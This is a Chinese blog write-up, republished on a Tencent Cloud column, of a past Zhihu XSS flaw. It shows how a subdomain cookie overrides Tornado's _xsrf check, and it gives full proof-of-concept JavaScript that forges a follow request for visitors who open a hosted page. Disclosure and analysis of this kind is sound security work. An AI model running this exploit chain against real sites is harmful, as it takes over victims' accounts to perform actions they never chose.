首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >知乎某处XSS+刷粉超详细漏洞技术分析

知乎某处XSS+刷粉超详细漏洞技术分析

作者头像
phith0n
发布2020-10-15 11:13:34
9210
发布2020-10-15 11:13:34
举报

我觉得十分经典的一个漏洞,和大家分享一下~

好久没法前端漏洞分析了,这次来一个。

老问题导致的XSS漏洞

首先看一个XSS漏洞,这个点是老问题了, http://www.wooyun.org/bugs/wooyun-2016-0171240 知乎按照洞主提供的方法进行修复了,但明显是不行的。我们看到 https://link.zhihu.com/?target=http://www.baidu.com 这个链接的源码:

14566414207565.jpg
14566414207565.jpg

将输入的信息传入URI参数,解码以后赋值与location.href。明显可以利用JavaScript:伪协议执行js代码。

如下: https://link.zhihu.com/?target=javascript:alert(1)

14566415103785.jpg
14566415103785.jpg

如何利用这个漏洞,有如下办法:

  1. 获取用户Cookie
  2. 刷粉、蠕虫等

但经过分析,这两种利用办法都无法直接达到。首先,因为知乎重要cookie加了httponly,所以打不到用户cookie;另外,因为知乎的主站是www.zhihu.com,而xss处于子域link.zhihu.com,并非同域,无法获取www域下的CSRF Token,也就无法提交任意表单。 那么,这个漏洞岂不是上不了主页了?

知乎的CSRF防御机制

去年7月份左右,我在TSRC的西安沙龙上对基于Token的CSRF原理与实例进行了一些讲解,但唯一一种情况没有提到:那就是同主域不同子域的情况下,怎么进行CSRF?

我先来说说知乎是如何检查CSRF漏洞的。

首先用户在访问知乎后,知乎会为用户设置一个随机Cookie,叫_xsrf。用户在填写表单的时候,表单里会自动插入一个隐藏的项目,也叫_xsrf。

用户提交表单的时候,后端会将表单里插入的_xsrf和cookie中所带的_xsrf进行比对。如果二者相同,则说明为合法的表单。

这种解决方法其实比较常见,因为在没有xss的情况下,黑客无法获取到cookie中的_xsrf,不在同一个域,也无法获取表单中的_xsrf。二者都无法获取到,所以保证了表单的安全。

那么,知乎这个xss,能不能获取到_xsrf呢?

我们看到www.zhihu.com的cookie:

1.png
1.png

Domain=www.zhihu.com,没得戏,在link.zhihu.com下获取不到www的cookie。

非同域这个条件,让工作很难正常进行。那么,怎么绕过呢?

既然我们无法获取cookie,我们自己设置一个值,不就可以了?!

这涉及到cookie的机制了。x.a.com域下,可以设置x.a.com的cookie,也可以设置.a.com的cookie。所以,我们在link.zhihu.com下利用XSS设置.zhihu.com的COOKIE。这样,在www.zhihu.com的数据包中,将会带着两个_xsrf,其中一个为已知的。

知乎/Tornado/Python对于同名cookie的处理

据以往对知乎的了解,知道知乎是基于Tornado开发的,这一点从『_xsrf』这个名字上也可看出。我们可以看看Tornado中是怎么处理Cookie的:

@property
def cookies(self):
   """A dictionary of Cookie.Morsel objects."""
   if not hasattr(self, "_cookies"):
       self._cookies = Cookie.SimpleCookie()
       if "Cookie" in self.headers:
           try:
               self._cookies.load(
                   native_str(self.headers["Cookie"]))
           except Exception:
               self._cookies = {}
   return self._cookies 

利用的是python自带的Cookie库,跟进一下Cookie.SimpleCookie类的load方法:

def load(self, rawdata):
   """Load cookies from a string (presumably HTTP_COOKIE) or
   from a dictionary.  Loading cookies from a dictionary 'd'
   is equivalent to calling:
       map(Cookie.__setitem__, d.keys(), d.values())
   """
   if type(rawdata) == type(""):
       self.__ParseString(rawdata)
   else:
       # self.update() wouldn't call our custom __setitem__
       for k, v in rawdata.items():
           self[k] = v
   return 

跟进一下__ParseString方法:

def __ParseString(self, str, patt=_CookiePattern):
   i = 0            # Our starting point
   n = len(str)     # Length of string
   M = None         # current morsel

   while 0 <= i < n:
       # Start looking for a cookie
       match = patt.match(str, i)
       if not match: break          # No more cookies

       K,V = match.group("key"), match.group("val")
       i = match.end(0)

       # Parse the key, value in case it's metainfo
       if K[0] == "$":
           # We ignore attributes which pertain to the cookie
           # mechanism as a whole.  See RFC 2109.
           # (Does anyone care?)
           if M:
               M[ K[1:] ] = V
       elif K.lower() in Morsel._reserved:
           if M:
               if V is None:
                   if K.lower() in Morsel._flags:
                       M[K] = True
               else:
                   M[K] = _unquote(V)
       elif V is not None:
           rval, cval = self.value_decode(V)
           self.__set(K, rval, cval)
           M = self[K]

这个方法有个特点:解析了HEADER中的Cookie以后,一个个赋值在self中。如果存在同名Cookie的话,后者将覆盖前者。 这也是tornado的一个特性。对比起来,我们看到php是怎么处理同名cookie的:

<?php 
echo $_COOKIE['_xsrf']; 
14566499775996.jpg
14566499775996.jpg

获取的是前者。这也是php的一个特性,二者的区别,我不再从源码上分析了。

回到知乎的这个问题,因为知乎获取的_xsrf是后者。而恰好,我们利用XSS设置的cookie,将是所有cookie里最后一个。(当然,如果是php的话,我们也可以通过设置path,将cookie的优先级提到前面)

这样,后端在检查_xsrf的时候,会从cookie中获取我们设置的token,和表单中我们提交的token相比较。这二者,我们控制其相等即可。

覆盖_xsrf进行刷粉

理论讲完了,我来理一下思路:

  1. 利用link.zhihu.com的xss,设置cookie: _xsrf=aaaaaa; domain=.zhihu.com
  2. 设置表单中的_xsrf=aaaaaa;
  3. POST数据包,关注目标用户

编写POC代码:

love=function(){var c={version:{name:"Elastic Love",author:"quininer",version:"141229"},conf:{protocol:"{{= protocol }}",host:"{{= host }}",id:"{{= id }}"},run:{jsonp:{},args:{},data:{},foo:{}},op:{bind:function(a,b,d){a.addEventListener?a.addEventListener(b,d,!1):a.attachEvent("on"+b,d);return a},random:function(a){return a?Math.random().toString(36).slice(2):1E5*Math.random()}}};c.get={isorigin:function(a,b){var d=c.dom.create("a",{href:a}),f=c.dom.create("a",{href:b||document.location.origin});return d.protocol==f.protocol&&d.hostname==f.hostname&&d.port==f.port?!0:!1},testorigin:function(a){try{c.req.ajax(a)}catch(b){return 19!=b.code?!0:!1}return!0},protocol:c.conf.protocol?c.conf.protocol:"file:"==location.protocol?"http:":"",isdom:function(a){return a.nodeType?!0:!1},id:function(a){return document.getElementById(a)},name:function(a){return document.getElementsByName(a)},tag:function(a){return document.getElementsByTagName(a)},class:function(a){return document.getElementsByClassName(a)},html:function(){return this.tag("html")[0]||document.write("<html>")&this.tag("html")[0]},head:function(){return this.tag("head")[0]||c.dom.add("head",!1,this.html())},body:function(){return this.tag("body")[0]||c.dom.add("body",!1,this.html())}};c.dom={inner:function(a,b,d){var f=Array.prototype.slice.call(arguments,-1)[0];d=d&&c.get.isdom(d)?d:c.get.body();var e=c.dom.create("div");e.innerHTML=a;e=e.children[0];b&&"function"!=typeof b&&(e.style.display="none");this.insert(e,d,"function"==typeof f&&f);return e},create:function(a,b){var d=document.createElement(a);for(i in b)"string"==typeof b[i]&&this.attr(d,i,b[i]);return d},insert:function(a,b){var d=Array.prototype.slice.call(arguments,-1)[0];b=b&&c.get.isdom(b)?b:c.get.body();b.appendChild(a);"function"==typeof d&&d(a,b);return a},add:function(a,b,d){var c=Array.prototype.slice.call(arguments,-1)[0],e=this.create(a,b);this.insert(e,d,c);return e},kill:function(a){var b=Array.prototype.slice.call(arguments,-1)[0];c.get.isdom(a)&&a.parentNode.removeChild(a);"function"==typeof b&&b()},attr:function(a,b,c){if(!c)return(a.attributes[b]||{}).value;a.setAttribute(b,c);return a}};c.req={post:function(a,b,d){var f=Array.prototype.slice.call(arguments,-1)[0],e=c.dom.add("form",{method:"POST",style:"display: none;",action:a},c.get.body());if(b&&"object"==typeof b)for(var g in b)c.dom.add("input",{name:g,value:b[g]},e);g=c.dom.add("input",{type:"submit"},e);if(!d||"function"==typeof d){var h=c.dom.inner('<iframe sandbox name="'+c.op.random(!0)+'">',!0);c.dom.attr(e,"target",h.name)}"function"==typeof f&&c.op.bind(e,"submit",f);d&&"function"!=typeof d||c.op.bind(h,"load",function(){c.dom.kill(h)});g.click();d&&"function"!=typeof d||c.dom.kill(e)}};return c}();
function createCookie(name,value,days) {
    if (days) {
        var date = new Date();
        date.setTime(date.getTime()+(days*24*60*60*1000));
        var expires = "; expires="+date.toGMTString();
    }
    else var expires = "";
    document.cookie = name+"="+value+expires+"; path=/; domain=.zhihu.com";
}
createCookie("_xsrf", "wooyun123123", 30);
love.req.post("https://www.zhihu.com/node/MemberFollowBaseV2", {
    method: "follow_member",
    params: '{"hash_id":"6f8ffd80705c262c2ee3fa4d9b3f8f06"}',
    _xsrf: "wooyun123123"
}, true); 

可见,我将_xsrf设置为wooyun123123,hash_id是被关注人的id,可以通过抓包获得。 用户访问 http://mhz.pw/game/zhihu/zhihu.html 即可关注我。通过抓包可以看见,我们伪造的_xsrf已经附在cookie最后面传给服务端了:

2.png
2.png

用户已成功关注:

3.png
3.png
本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 老问题导致的XSS漏洞
  • 知乎的CSRF防御机制
  • 知乎/Tornado/Python对于同名cookie的处理
  • 覆盖_xsrf进行刷粉
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档